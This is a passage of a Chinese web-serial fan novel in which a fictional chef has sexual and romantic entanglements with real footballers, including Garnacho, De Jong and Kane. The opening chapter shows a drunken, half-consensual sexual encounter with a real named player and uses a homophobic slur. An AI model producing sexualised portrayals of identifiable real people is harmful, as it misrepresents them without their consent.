其实曼城和曼联也不算真正的对家,巅峰期不同步,只是存在竞争关系再就是有些嫌弃对方罢了,不过是为吵架找引子,互相贬损对方取乐,要问真正的对家,恐怕曼联最想拿利物浦出气,而曼城则是把阿森纳视为夺冠路上的绊脚石。 加纳乔一边拒绝合影,一边退出人群,这时貌似他的保镖走过来把他护在身后,和球迷解释,抱歉,请给予私人空间。 克里奇利又笑了,惹事精也怕事儿惹啊。 难怪这孩子经常做出一些逆天举动,大概是有什么显眼包怪癖吧。 谁知加纳乔路过他身边时还撞了他一下,说,“你犯规了,虽然你是道那边的,我仍可以大方点护送你离开。” 克里奇利再笑就是第三次了,这也太抓马了,他没吱声摇摇头略微嫌弃的转了转椅子,还是忍不住想笑,他对吧台调酒师说,“你们这里是不是经常有球星光顾?” “你说加纳乔吗?他是我们这儿的老板之一,但是不经常来,呃,他总是以卧底的身份出现,今天正好又让他演着了。” “啊?哈哈哈哈…”克里奇利被调酒小哥给逗笑了,这都什么奇葩事儿。 打工仔吐槽老板爱演,倒也是人之常情。 “偷偷告诉你噢。”调酒小哥给他倒了一杯酒,“我知道你是曼城的那谁,这杯我请,我也是曼城球迷。” “噢~”克里奇利瞪大了眼睛,接着又眯了起来,对着小哥举了举杯子,给了他一个赞许的目光。 实在是无聊的不想动,于是和调酒小哥眉来眼去一杯又一杯的把自己灌醉了。 直到自己成为最后一个客人,才拍拍屁股准备走人,坐久了一站还有点眩晕。 调酒小哥立刻扶住了他的胳膊,说这里有我的休息室,不如去我那里醒醒酒。 克里奇利感觉自己也没喝多少,怎么头重脚轻还走不成直线了呢,他说,“你是不是给我调玛格丽特了?那玩意我一杯倒。” “没有,我调了午夜燃情而已,度数有一点高但保证你明天不会头痛。” “算了,喝什么都一样,顺便问一下,你叫什么名字?” “艾伯特·泰勒。” “好,泰勒,希望明天早上我还能记得你。” 泰勒架着他往休息室走去,这时加纳乔突然从后厨出现堵住了两人去路。 “上班时间勾搭客人,我警告你,艾伯特,不是一次两次了,明天别来了。” “老板,现在找工作不容易,而且你请人也不容易啊。” “他是曼城的人,你无视店规是吧?”店规就是可笑的不允许勾搭同城死敌。 “好吧,那抱歉了,克里奇利先生。”艾伯特为了工作只好放人。 艾伯特一松手,克里奇利身子不受控制向前倾倒,加纳乔想把他接过来,可他没料到喝醉了的人是这么沉,直接被他推倒在身后的杂物箱上,差点把他腰折断。 “切…”艾伯特看不过去老板半路抢人,也不好说什么,只好不情愿的收工下班。 克里奇利不客气的趴在他身上,把他压在身后的杂物箱上动弹不了。 加纳乔眉心跳动,对这份接触说不上反感也谈不上喜欢,毕竟他一直认为自己是个直男,而且这个家伙就算长的再好看那也是敌人啊。 “艾伯特,你腰好软。”克里奇利埋首在他颈间,大掌卡在他溜薄的腰线上,粗粝的大拇指钻进他的衣服里在那处细皮嫩肉上来回抚摩了几下。 极限弯曲,再弯下去加纳乔的后背都要平躺在粗糙的木制箱子上了。 “该死,你他妈清醒点,老子腰快被你压断了,还有,我不是艾伯特,我是曼联太子,你最好跪下叫爹,否则我入了你,faggot.” “faggot?嗯,叫的真好听,来,让你感受一下faggot的战斗力。” 克里奇利接着酒劲儿,上身依然保持压制,一只手扣着他的腰,另一只手握住自己的腰带扣,一扳一拽像抽刀似的刷的一下就把腰带抽出来了,接着啪地一声抽在木箱板上。 这一下抽在加纳乔的耳边,震的他耳朵疼,他本能一闭眼,绷紧了大腿肌肉,感觉身子打颤,手臂也泛起了细小的战栗,张了半天嘴说不出一句话来。 懵了几秒,他突然抬腿顶了克里奇利一下。 这一下可是顶着了,克里奇利痛的差点当场去世。 他弯着腰向后退了几步,缓了缓,不顾肩膀还有些脱臼的疼,上前就握住了加纳乔的手腕,把他顶在墙面上。 两个人在狭窄的走廊里打了起来。 打着打着就打进了一个办公室,办公室有一个沙发床,加纳乔不断后退,腿弯碰到床沿,向后倒去的同时撕扯住了对方的衣服。 打架最终变成了一场激烈的壕夺。 年轻人喘着粗气,大脑放空,被克里奇利粗鲁的翻过来翻过去。 但他好强心作祟,即便是用力做着受的动作,也让克里奇利有一种被他攻了的感觉。 这一宿简直是做恨,那也挺爽的,让人不得不承认年轻人就是够劲儿。 早上醒来,克里奇利一睁眼就又重蹈覆辙了。这雪白硬朗的面孔怎么这么熟悉,叫什么来着。 他又把眼睛闭上了,努力回想前一天晚上都发生了什么,想了半天放弃了。 再睁开眼睛的时候,那张脸靠近了些,眼神凶巴巴的看着他,咬着牙说,“不许把这件事说出去,否则我…” “怎样?” “我…”他想了半天没想出来。 “我今天就回西班牙了,不会给你机会杀我的。” “你知道就好!” 克里奇利终于想起来,他拍拍他大腿说:“可能我有廷人滤镜,像你这种小辣椒我一般不会吃,但你的腿真的太绝了,又白又细又长…”说着他就把手伸向了他雪白的大腿根。 加纳乔一脚就把他蹬床下去了。 两人在这一晚上不知打了多少架,房间里像遭了贼,比夺冠后的更衣室还乱。 而且身上腿上到处是莫名其妙的淤青和厚重清晰的牙印。 真的是茫茫人海,相识一场也算报应。【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 这办公室好,带独立…… 这办公室好,带独立卫浴,还是按摩浴缸。 两个人连洗个澡也要打一架。 确切地说是光着膀子不嫌丢人甩过来甩过去的闹,没办法年轻人精力太旺盛不陪他玩他就要骑你身上。 最终克里奇利投降,手一摊说,“你先洗吧,我放个假是养胳膊的,没想到遇到你让我伤势更严重了。”说完,他就回去躺下了。 加纳乔撇撇嘴,心想他也不像是胳膊受伤的人啊,昨晚没记错的话还是他抱着自己去的浴室,噢他说了你别乱动,不然把你扔地上。 “要不就挤一挤。” 加纳乔较硬的心肠突然柔软了几分,抓住他的手,再伸手托着他后脑勺把他半拉半推的弄起来,尽量不让他胳膊受力。 两个人挤在一个浴缸里,温热的贴近比激烈的对抗还要暧昧几分。 克里奇利从他身后环着他的腰让他躺在自己身上,手搭在他的小腹前,加纳乔的头就自然而然的躺在他宽阔的肩膀上。 “才发现你纹身这么多。”克里奇利低头看着他雪白肌肤上纹的各种稀奇古怪的图案,胸前大鹰展翅,右臂CR7经典进球庆祝,还有越/狱,足球小将角色,之前灯光太暗没看清楚,现在看着还蛮清晰性感的,他一边摸一边发出啧啧赞叹。 “嗯,好看不?”加纳乔对自己的纹身甚为满意。 “还好吧,你们阿根廷队凑在一起也凑不出一个完整纯色的人来。” “你想纹吗?我给你咬一个。” “我不纹,你也别咬。” 说着,两个人又在浴缸里闹了起来。 “好了。”克里奇利抓住他头发制止他在自己的胸前落下牙印,谁知他竟调皮的往水下钻,试图在他小腹前啃上一口。 “好了!”克里奇利吼他,用力把他拉上来死死抱住,忍着胳膊痛,语气加重地对他说,“你把我中学时练过的摔跤都激发出来了!” “呵…”加纳乔终于放过他,趴在他胸口上,温热的水被他们挤压的只剩一点了,然而还是没人舍得离开浴缸。 看着克里奇利慵懒的打了个哈欠,眼睛里亮晶晶的,加纳乔耐不住调皮的心思往他脸上撩了一捧水。 克里奇利眨巴眨巴湿漉漉的眼睛,并无责怪地看着他,看的他脸色透粉,有些害羞的说,“你这双大眼珠子是不是看狗都这么深情?” 克里奇利笑了笑,偏过头来蹭了蹭他,说,“我本娇俏,愿者上钩。” 嗯,确实。他自带调情bgm和性张力buff,像摆在自己面前的巧克力蛋挞,散发着阵阵浓郁的香气,想要忍住不吃太难了。 看着看着,加纳乔就在脑中幻想和他做队友是什么样子。助攻他进球,然后当仁不让的狠狠拥抱他,再把他压在草坪上抱着头亲。 特别是对曼城,那种在情敌面前秀恩爱的感觉要不要这么爽。 还没等幻想完,这个滑溜溜的家伙就迈出了浴缸,健硕有型的后背彰显着天生佼佼者的美感,让人感叹这是上帝炫技之作吧。 “好了,我要赶飞机,咱们到此为止吧。”克里奇利擦干头发,准备和他告别。 “来曼彻斯特随时打给我。”加纳乔扒住浴缸边缘,看着他说。 “干嘛?不把我当敌人了?” “我可不会承认被敌人撅了,所以,做朋友?”加纳乔伸出一只手去。 “哈哈,我向来公私分明,而且从不给自己树敌,除非是我睡过真的想不起来名字的。”克里奇利拍了他手心。 “等等。”加纳乔知道他是一个浪子,但仍很好奇,有过这么多肌肤之亲是怎么保持洁身自好的,“你怎么保持不爱上别人的?” 他也走出浴缸,把浴巾围在身上,好奇地看着镜子中被热气蒸的透粉的男人。 “已经知道结局,何必铭记过程。就像你们踢球,结果最重要,如果输了,那过程一切都是徒劳。” 说的对也不对。 加纳乔看着他冷冰冰的说出这番言论,一时找不到理由反驳他。 直到他走了,加纳乔才想出来。 你又不知道输赢,为什么不试试呢。 可惜,他们终究是彼此的过客。想明白了他也笑了,这样一个帅到犯罪且把感情撇的很清楚的人,根本不会有人可以拥有。 他是属于同担的,属于每一个对他有幻想的人,但凡对男的有一点想法的,别遇到他,否则必失足掉进他锅里,被他翻炒个透,回过头来还对他念念不忘,夸他厨艺好,把自己炒熟了。 一双深情的眼睛和一双可以变魔术的手,让多少人无法抗拒。白天夜里偷偷想他的真的大有人在。 他回巴塞罗那之后,才知道巴萨刚在客场0-1输给了马竞,小蜘蛛打进制胜球,所以他刚一上班就被小队长德容堵在了休息室里。 德容手撑着衣柜抬起那双深蓝色的眼睛质问他:“你知不知道你是我们队的大熊猫!这一周不打招呼去哪了?” 他一边穿上工作服,一边回应他,“噢,抱歉队长,忘了跟你请假了!”其实他没有向球队队长请假的义务,他直属上司是总监。 “一天两天也就算了,整整一个星期!害我们都不知道吃什么了!”德容也知道他请假了,但是他没主动说就是让人很不爽。 “别生气,想吃什么告诉我,你这样就不好看了。”他无所忌惮的拍了拍德容的脸,又照照镜子整理了一下帽子,大步流星的走出门去。 不好看,德容又像被戳了死穴,气鼓鼓的跟着出了门。 一上午的训练,德容看上去很不正常,一会上蹿下跳的兴奋的像只猴子,一会又板起脸来训费尔明和加维就知道玩闹,当他听见莱万再和佩德里说,千万别告诉德容是他把克里奇利弄伤的,就被德容一手一个搂过去,兴师问罪的说,“好呀,全队就我不知道大管家请假是养伤去了,而且还是你给弄伤的,我说什么来着,健身时不可以打闹。” 莱万脸色瞬间变白了几个度,倒也不怕小队长开会,怕的是小队长记仇,把刚过去的比赛中没打进他的助攻当成事儿来说个没完。 佩德里见气氛有些尴尬赶紧打圆场,“弗兰基,他这不是回来了,罗伯特也不是故意的。” “说好几遍了,健身训练都悠着点,伤病不找你,你还上赶着不成,布莱恩虽然不是我们的球员,你看看他不在家都被偷了!” 两人面面相觑,各有所想。 佩德里想,作为队长的他是最后一个知道的难怪不开心。 莱万却认为,德容是吃阿尔瓦雷斯的醋了吧!那天在画廊,他也看见克里奇利和他曼城前同事小蜘蛛有说有笑卿卿我我的,从那回来以后德容就神经兮兮的。 午餐时,莱万打算率先去关心一下被他弄伤的大厨,于是匆匆洗了澡换了衣服走进餐厅,他觉得自己应该是第一个,没想到比他早的另有其人。 佩德里在不锈钢台面上看着克里奇利在准备分餐的勺子,他们貌似聊了一会了。 莱万走过去拍拍佩德里的肩膀,对克里奇利打招呼,“嗨,布莱恩,胳膊好了吗?” “还好吧,再不回来,队长要吃人了。”克里奇利目光看向门口,又一个洗快澡提前来到餐厅的人,弗兰基德容。 佩德里对莱万说,“我们刚才还聊到你,没想到你这么快就来了,没见你以前吃饭这么积极,连头发都没吹。”他抬手揪了揪莱万的卷毛。 “聊到我什么了?”莱万好奇的看着他们,觉得这俩人平时没什么接触怎么今天聊到一块去了,而且还是关于他的话题。 “说你的好话来着。”克里奇利冲他眨眨眼。 “他有什么好?”德容挤进来一个金色小脑袋瓜,强势插入这个三方会谈。 “我可不好意思说,布莱恩刚才和我聊到关于肌肉拉伤的话题,他说…”佩德里说着说着笑场了。 “他说什么?”莱万和德容脑袋上都冒出了大大的问号。 “他说什么你们自己问呗。我先吃饭了。”佩德里笑嘻嘻的像拥有很多秘密似的端着盘子打饭去了。 “怎么了?肌肉拉伤有什么好笑的?”德容看着克里奇利忙活的双手,觉得工作中的他更帅。 “对呀,肌肉拉伤和说我好话有什么关系?到底说我什么了?”莱万也盯着克里奇利专注于食物的眼神。 克里奇利拿过两个盘子,给他们一人夹了一块排骨,揪了揪自己的透明口罩,说,“幸好你拉伤的不是我的腹肌,这下你们满意了吧?” 两人互看了一眼,德容脸皮薄,先红脸的是他。 年龄大的莱万脸不红心不跳的继续问,“到底说我什么了?” “说你身材好的像模子刻的,踢球像教科书一样标准,下次比赛一定会进球的,而且我们会赢回来的,完美的大中锋罗伯特。”克里奇利没有吝惜自己的美言美句,因为他确实是这么认为的,可不是嘴巴抹了蜜。 这次轮到莱万的脸红了,老司机也经不住这么夸啊,特别是心仪的人。 德容又吃醋了,他把排骨啃的卡吧响,一双生气也看着温柔可爱的眼睛不时的扫向吧台,心有不甘的想,自己哪一点不比莱万? 第72章 就这样…… 就这样,克里奇利在巴萨干的得心应手。 没想到让他没什么负担干的最久的单位竟然是巴萨。 这里阳光充足,天地人和,主要是男人们各有千秋,他也秀色可餐。 没有人不喜欢为了迎合他们各种各样的口味而不断研发新菜品的顶级大厨,除了用美食征服他们的心巴,这个天选之子还是个行走的荷尔蒙,怪了,这种本应该成为直男公敌的人物,却在男人堆里分外吃香。 这个赛季巴萨兵强马壮,强势冲顶,克里奇利也跟着升职加薪,成为巴萨特助主厨,相当于后勤副总监职务,除了负责餐厅全面工作,俱乐部还配了几个一级副手供他调配。 五大联赛中还没有一个给俱乐部打工的厨师有这种头衔,特别是英国人,那个食谱最短的国家,竟然出了一个靠健康改良版中餐征服球员胃的神级大厨,他的头衔很长,念出来也不丢人。 “虽没在文明古国诞生却拥有灶王爷下凡实力的名誉特级厨师;没有获得过国际杰出厨师奖却在足球俱乐部餐饮领域异军突起的烹饪天才;声名远扬逼迫英国就地设立国际餐饮传播大使荣誉勋章的第一人。” 说到底他没有时间去参加厨师界比赛,也没有特别严格的烹饪手法,他也不是厨师高级学府毕业的科班出身,但火苗升起之时,一切尽在掌握。 他也不知道,可能就是上帝造弯了他要给他一项赖以生存的技能,结果一不小心开了大。 所以他上班就跟玩一样,唯一让他费心思的就是如何能让人越吃越年轻,越吃越力壮。 虽然这有点难度,但他一心执着的致力于此,保持球员的身体健康状态也保持自己的年轻容颜。 可还是发生了一件任谁也始料未及的事件。 赛季结束后,巴萨如愿摘得了西甲桂冠,整个巴塞罗那沸腾了,无论白天黑夜,烟火点亮城市每个角落。 克里奇利也参加了他们的夺冠仪式,大庆三天三夜,跟上个赛季的曼城一样。 怎么他到哪哪夺冠呢? 阿森纳怎么没努力挽留一下呢,克里奇利从阿森纳离职以后,伤病阴霾始终笼罩着枪手们,让他们元气大伤。 曼城这个赛季也呈现出疲软趋势,伤员增加,一连八场不胜,尽管后半程发力,也最终落后于利物浦7分,屈居第二。 庆祝的第三天,带有标志性红蓝喷绘和球员彩绘的大巴车开到了巴萨另一个街区,继续掀起嗨翻狂潮,克里奇利已经在大巴上准备好了酒水点心,和球员们一起享受胜利的狂欢。 可今天他怎么也活泛不起来了,当时在曼城庆祝了一周也没觉得这么累,怎么在巴萨才三天就要累虚脱了呢,头疼头晕还恶心乏力。 不行,要撑住,这种场合不能倒下。 他把餐车交给助手,自己扶着扶手来到车厢里吹空调缓缓。 吵闹的音乐、人声鼎沸的呼叫、车厢车顶不断地咚咚的跳动,对他来说比催眠曲还管用,让他靠在沙发上不知不觉睡着了。 他还做了一个梦,梦见自己在nice吧里跳舞,脱衣舞男正在他头顶剥洋葱,渐渐露出蜜糖色结实的肌肉。看的他芳心大动,准备了大额小费刚要塞进舞男的内裤边,突然发现这个舞男已经上了年纪,连头发都白了。 Oh shit!他被吓了一跳,白发舞男还跳下来拉着他的手准备与他跳一曲交际舞。 吓得他立刻把手抽出来,问他,怎么你这个年纪还在跳舞。 白发男告诉他,我在这里还算年轻的,倒是你,怎么这么年轻就来这里跳舞呢? 他看着白发男一脸褶子说不出话来。 “唉,年轻人就是不知道爱惜身体。”说完,白发舞男就闪进了舞池,而舞池里竟然也都是七老八十的耄耋老人。 克里奇利掐了自己一把,不疼,这是梦,但!他醒不过来了! 这时,他听见熟悉的声音,微微上扬的英语语调,清晰有力地钻进他的耳朵里。 “嘿,Brian,我好像食物中毒了。” 肩膀传来真实触感,克里奇利猛地睁开眼睛,嗷的一声差点蹦起来,吓了眼前的德容一跳。 “哦抱歉,我不知道你睡着了。”德容眨巴眨巴眼睛,从他肩膀移开的手不知道要放哪,“你怎么坐着就……,你怎么了?” “噢,我不太好。”克里奇利平稳了一下呼吸,说了声谢谢。 “谢什么?” “要不是你,我可能……”醒不过来了,他想说又咽下去了,“你说你食物中毒了?”一句食物中毒把他从噩梦中惊醒,又把他拉进另一个噩梦。 “嗯,我肚子疼。” “噢,你吃了什么?”克里奇利看着德容白的过分的脸,十分担忧的问他。 “葡萄、香槟和一些气泡水。” 该死,那些葡萄没洗干净,自己交代过他们先不要动那些葡萄,因为果蔬清洁剂没有了。 他唰地站起来三步并作两步往车顶跑去,刚到车顶烈日直射下来,他看人都重影儿了,忽然身子一歪,向后倒去,接着被赶上来的德容一把扶住了后背。 “怎么了?布莱恩,你不舒服吗?” 克里奇利倚在他怀里,定了定神,不知道自己怎么了,他站定摇了摇头,接着赶紧去处理那些还没提供给更多人吃的葡萄。 其实葡萄已经清洗干净了,别人吃了都没事,而有的人吃完葡萄再喝水会引起腹痛的。 这会德容都被他吓的不痛了。 处理好了以后,克里奇利也松了一口气。 这会德容已经脱掉了被香槟沾湿的外套,只穿了一件黑色的背心,从人群里把克里奇利拽出来,对他严肃的说,“走,我送你回去。” “最后一天了,得收好尾才行。”他还固执的想要坚守岗位。 “别说废话,身体要紧。”德容不容分说的拉着他手腕往下走。 “弗兰基,等等!”克里奇利好像突然想起了什么,他用力把手从他紧握的手心里抽出来,有些烦躁的说,“你能不能不要管我?” “布莱恩,你到底怎么了?感冒了?还是哪里不舒服?你脸色很差。”德容像听不懂他说话似的抬手去摸他的额头。 克里奇利皱着眉向后躲了一下,似乎不喜欢被人触碰,但还是被他摸了个瓷实。 德容又摸摸自己的头,说,“没发烧啊!”接着又跨上他的胳膊,拉着他往车头走。 “现在我们正在大街上,活动才进行了一半,你要带我去哪?去人群中吗?”克里奇利使着和他相反的力,却因为身体虚弱挣不过他。 “噢!”德容这才反应过来,他一味任性的拉着他走,都没考虑到这一点,只想着下车让护卫队给送回去,现在大街上人满为患大车小车摩托车都举步维艰。 “那我扶你去休息室清静清静。” “谢谢你,弗兰基,我自己去就行,别对我这么上心,我又不是病人,我只是,只是昨晚玩到半夜没休息好。” 他扯了个慌,目的就是惹小队长生气,很好,他的目的达到了,小队长抓住他的手明显松了松。 德容有些委屈的站在过道里,眼看着就要掉下泪来。 克里奇利现在脑子很乱,比他前几天的床还乱,他想起就在那张床上喝醉了和临时小鲜肉玩的时候作案工具掉了,有没有深入接触他想不起来了。 难道报应还是来了?自己鬼混多年不知检点虽然做足了安全措施却也难免失误,要是感染了病毒自己就离下地狱不远了。 想到这他烦气的路过德容,一个人去了休息室,帘子一拉,躺在沙发椅上摇头叹息。 行啊,这辈子值了。人间一场烟火,好歹璀璨过,自己也算雁过留声人过留名了。唯一遗憾的大概是还有好多渴望他的没得到他呢,这上帝的礼物还没到40岁就收回去了,真吝啬。 也好,孑然一身,没有念想,这样很好。幸亏没把德容拖下水来,不然要他怎么收场。 他还没伤春悲秋超过一刻钟,那个金色的小脑袋就从帘子缝隙里钻进来了。 克里奇利余光看见他,故意偏过头去,还装模作样的打起了呼噜。 德容没管,直接跪在他腿边观察他的脸色,刚要抬手触碰他,就被他横了一眼。 “我就知道你没睡着,现在车停了,我带你去医院检查一下。” “天哪!德容!你能不能就当不认识我!”他突然窜上一股无名火,冲着德容发泄而去。 “我们什么关系都没有!你也不是我上司,更不是我男友,呵…很快我们连同事也不是了。” “!!……”德容被他吼的一脸震惊,他从来没对自己这么无礼过,即使自己使性子刁难他,不知轻重的开他玩笑,因为一点小事就线上线下的凶他,他也从来没有对自己发过脾气。 他有着令人羡慕的温柔强大的内核,让他对任何人任何事都是那么的潇洒随性,游刃有余。 现在的他就像一头凶悍冷酷的野兽,目光阴森,脸色煞白,头发都要竖起来了,一双令人猜不透的大眼睛有些暴躁地看着他,还对他恶语相向。 德容不解,这是怎么了? 可这样反常的克里奇利依然没有吓退阳光乐观的小太阳,他只张了张嘴表示一个讶异,跪着的膝盖仍没从他腿边移开,接着抬手整了整他的衬衫领子。 他无比真诚的看着他说:“布莱恩,我不知道是否我做错了什么,如果有,我给你道歉,你可不可以不要太逞强,让我为你做些什么,我保证,只是出于朋友的关心。” 克里奇利回看他,心情极为复杂,是不该冲他撒气的,可以把气撒给椅子,撒给床,撒给烟酒,撒给一切让他心烦的东西就是不能撒给他。 现在,他很想抱住他,告诉他,自己早就成为巴萨的人,而最让他想要留在巴萨的不是高昂的薪水也不是西班牙的西海岸,而是英语说的这么好长的这么漂亮的荷兰小阳光。 “对不起,弗兰基,我只是有些累,跟你无关。” 说完他轻轻起了身,和司机说了一声,一个人下了车,消失在茫茫人海中。 这一走就是三个月。 第73章 德容找他都快找疯了…… 德容找他都快找疯了,别人不知道,他可有感应。 直觉告诉他,这人多半是人间蒸发了。 突然离开,没有任何征兆,连离职手续都没办,新赛季已经开始,他依然音讯全无。 实在没办法,他给德布劳内打了电话。 他直接问德布劳内,你知道克里奇利去哪了吗? 德布劳内已经把这个人藏在记忆深处很久都没提取出来了,这突然有人来问他要人,问的他莫名其妙。 他说,不是在你们巴萨吗? 德容最后一丝希望也破灭了,他刚要挂电话,就被德布劳内反问,怎么了?发生什么事了吗? 德容没想过要怎么回答别人的反问,他满脑子都是他去哪了,是否还活着。他说我不知道,最后一次见他是在夺冠庆祝大巴上,他脸色很差,我说要送他去医院他不肯,然后下车就不见踪影了。 “这么一个大活人被你们生生搞丢了,你们巴萨抢人的本事一流,留住人的本事呢?” 被德布劳内凶了的德容也无可奈何,听上去他们关系真的不是自己能想象出来的。 德布劳内说:“怎么办?” “你给他留言发信息,他不回我,可能会回你。” 德布劳内说:“他既然选择了这样一种方式,就说明他谁也不会回。” 德容说求你了。 挂了电话,德布劳内也很惆怅。 又是一个迷途羔羊。 这段日子是克里奇的人生中最晦暗,最挣扎,最看不到希望的日子。 好在初检是安全的,但三个月后才能出更准确的结果,和德容的情况不一样,德容那次概率极低,他这次是真的风险极大。 他离开了巴萨的公寓,最初住在一个很偏远的小破旅馆里,看着斑驳的墙和上锈的锁,抽烟喝酒,日夜颠倒,十几天下来骨瘦如柴,没有半点生存欲望,死在这里都不会有人知道。 后来他看到新赛季开始,球员们又精神饱满的投入到新一轮的竞技中,突然觉得在这度日如年的等待中,是一种生命的浪费,特别是所剩无几的生命。 就算要退场,也要走的体面,他这么爱惜皮囊的一个人,怎么能就这样凋零枯萎,变成一摊烂泥。 于是他买了一张地图,扎飞镖决定去哪里探险。 第一次投中了利物浦,他摇摇头,太近了,容易遇见熟人。 索性闭着眼睛投,听见啪的一声想,睁眼一看,还好不是大西洋,也不是某座冰冷的孤岛,而是大城市慕尼黑。 天无绝人之路,他在出发前一天收到了医院打来的电话,告诉他二检安全,并叮嘱他为了健康最好半年测一次。 那还去吗。 他犹豫了。 去吧。现在回巴萨被他们数落是小事,逃避现实做缩头乌龟才是最让他不能释怀的,还有他不想面对那双被他冷落还如此热切守候的眼睛。 自己在这段时间里也突然理解了阿森纳开除他的理由,如果确诊positive确实是不太适合从事餐饮业的,他自己道德上也过不去。 特别是在足球俱乐部,球员健康饮食太重要了,怎么会冒风险聘请一个positive呢,他也不想面临世俗的压力。 主要是不好意思开口说失联的原因,他这么风流倜傥怎么可以还没身死就社死呢。 于是他委托助理和私律帮他处理巴萨解约事物,结果被他助理发了一通牢骚,说大哥我还以为你飞升了,你失联的这段日子我都怀疑自己欠了债,太多电话轰炸还有人身堵截,真不知道你整天游手好闲还能混成这样。 他说有劳你了,再帮我办一次离职,然后你也辞职吧,跟着我真容易得罪人。 他根本没问都谁找过他,就急匆匆挂了电话,准备出发慕尼黑。 他助理还有很多话没说完,他想告诉他,德容快把整个西班牙都翻遍了,而德布劳内也在动用人脉关系到处找你。 托马斯知道后立刻回国报了警,但英国也没有太多警力去满世界找人。 他不知道给大家添了多少麻烦,总以为孑然一身没有牵挂的自己死了?*? 也不会有人管,所以继续厚着脸皮装作没事一样要离开刚混熟的地方,再转战到陌生的城市。 这次,他不想找工作,这段时间他精神状态很差,作息极不规律,生病的症状时有时无,让他无心经营事业。 正当他收拾收拾准备离开旅馆的时候,手机响了。 这个号刚用除了给他助理打了个电话之外别人并不知道,他犹豫了半天还是接起来。 “Fuck you Brian!”一句清晰标准的国骂炸响在他耳边。 没想到这才过去10分钟,德容就知道了他的电话。 “你没死就赶紧给我出现!立刻!”他激动的几乎破音。 “……”克里奇利一时无言以对,只觉得喉咙发紧,鼻子酸痛。 “弗兰基。”他轻轻开口,“对不起。” “少给我来这套,你这个冷酷绝情没有责任心只知道自怨自艾的大傻B,胆小鬼,有种就出现在我面前,否则我…” 德容一番暴躁的输出,恨不得他没死透想再给他一刀的架势,说到发狠处又不知道该怎么办了,否则什么,永远不理他?好像对他来说也没什么杀伤力! 他差一点就发讣告了,还要怎么咒骂他。 “好了,我真的错了。德容,我不指望你能原谅我,只是最懂我的应该是你没别人了。” “我知道,我懂!你那该死的小聪明,以为自己感染了病毒就逃避现实,抱着你那可怜的自尊心躲躲藏藏,那时候我也是害怕萎靡到不行,要不是有你的鼓励和陪伴我也很难挺过来,怎么换过来就不行了呢,你太不信任我了!你到底有没有把我当成你的朋友,还是只是一夜的情分?噢,甚至连情分都没有!” “弗兰基,原谅我吧。我对不起的人太多,这次可能是上帝对我的一次警告,所以原谅我吧,别让我的罪孽再加深了。我爱你。” “!!”电话那头失声了。 这三个月下来,克里奇利真的在想他死了之后,德容一定会哭,虽然自己从未给过他希望,但德容仍然每天都开心的在他面前跳来跳去,找话题,逗他开心,当他和莱万佩德里走的很近的时候,德容会吃醋,会发信息凶他,好像在和自己的意念谈恋爱。 他亏欠他。 他还要继续亏欠他。 “弗兰基,我不会再回去了。我很好,忘了我吧。” 难免告别,谁也留不下他,但是听到一句我爱你,还是让德容崩溃大哭,自己成功了呢,自己是他心里特别的存在。 德容拿着手机,泪水不受控制的滑落,行吧,他没事就行,没想到一句我爱你不是故事的开始,而是离别的句点,令人感到苦涩。 任何人都会离开,不开始就没有结束。克里奇利的人生信条在经历了生死考验之后依然没有大彻大悟,反而执念更深。 而且他不需要安慰和同情,他一个人吃饱了全家不饿,想去哪去哪,噢他终于实现了所谓的人身自由。 慕尼黑,我来了! 第74章 经过这一场…… 经过这一场惊吓,克里奇利感觉自己好像苍老了很多。 来到慕尼黑之后一个星期没怎么跟别人说话,主要是德国人不怎么爱说英语,也不像西班牙人那么热情好客。 虽然都源于日耳曼族,但对立竞争多年的历史导致英国人有着自诩为古罗马后裔的优越感,而德国人更是认为他们说英语的样子透着自命不凡的傻气。 所以要不是投飞镖,他才不来这儿。 刚来不熟悉环境的他,和小镇上严肃保守的德国人有交流屏障,大部分时间只是在附近公园的长椅上刷手机、喂鸟打发无聊的时光。 他重新活过来需要跟很多人解释。 他看见了两个月前德布劳内给他的留言: “要消散的也是落日余晖,你才30岁,哦不,31了吧,布莱恩。” 他轻笑。 这老家伙就知道用什么来戳自己。 他打开对话框,敲下一段文字: “我只是一个普通人,重生后还要谋生,没想到重生后的身体这么难驾驭,所以请原谅我这么久才回,Sir.” 德布劳内秒回:“你头像亮了,吓我一跳,以为遇见鬼了。” 克里奇利:“感谢挂牵,我很安全。” 德布劳内心想我等这个回答等了多久,想要平静地回复一句话他知道有多难吗。 随后,克里奇利给托马斯打了电话。 托马斯正在拍广告,接到电话后哇的一声哭出来,大喊着:“哥,你没死啊!” 唉,克里奇利的心脏像被厨师刀戳了一下,生疼生疼的,搞得自己眼窝也浅的撑不住水珠的重量。 “对不起,托马斯。” 他痛的说不出话来了。 “没事,没事,哥,你活着就行,不用道歉,你开心就好,以后每周,不,每天,每天都要给我报平安。” “我没事,很健康,很安全,还有,少管我,你才多大别跟个老妈子似的啰里啰嗦的。” “呵呵……哈哈哈……”两个人对着电话笑着哭,哭着笑。 他接着又回复了一些私人信息,这次人间蒸发他自己都没想到,竟然还有这么多人惦记他,就连沉寂了很久的“伦敦小分队”都蹦出了消息: “大哥,你去哪了?失联不是你风格啊?” “还有很多帅哥等着你呢,说句话啊,大宝贝。” …… 他的手指在手机上敲个没完没了,像一只落在玻璃屋顶的小鸟。 就这样在长椅上坐了一早上,有个人跑步已经路过他好几次了。 每次他都没抬眼看,只是听见那人的喘息在身边掠过。 终于回复完了消息,太阳已经红的发亮,不像早上那样可以对视了,他手在眉头上撑起遮阳伞对着太阳看了一眼,接着站起来神了个懒腰,谁料大长胳膊一伸正好打到了从后面冲过来的人。 这一下子有些突然,那人被猝不及防地拦截了,脸直接撞在他胳膊上,还把他手机碰掉了。 “Ouch!”晨跑的人大叫了一声,接着捂住了自己的脸弯下腰去。 听见一声本能发出的母语,克里奇利愣了一下,以为自己又回到了英国。 “oh,Im sorry.”他没顾得上被撞进草坪里的手机,赶紧俯下腰身去询问被他误伤的人。 “你没事吧?”他举着手不知该不该碰他。 那人直起腰来,揉了揉被他怼痛了的嘴角,皱着眉头看他。 噢这人好高,克里奇利往后撤了一步,目测和他差不多高,而且有点眼熟。 “没事,没想到不在场上也挨肘击啊。”他听见一声家乡话语气柔软下来。 “什么?”克里奇利打量着他,带着黑色棒球帽,穿着一身夏季训练服,眼睛是雪蓝色的小狗眼,鹰钩鼻,瘦长脸,这不是我们大英帝星凯恩吗,是吧,慕尼黑应该不会有长得这么像凯恩的人吧,关键是他英语太地道了。 “呃,哈里凯恩?”他试探着叫出他的名字。 “嗯。”凯恩大方应着,“英国来的?英格兰?伦敦?”凭借口音他把猜测范围缩到很小。 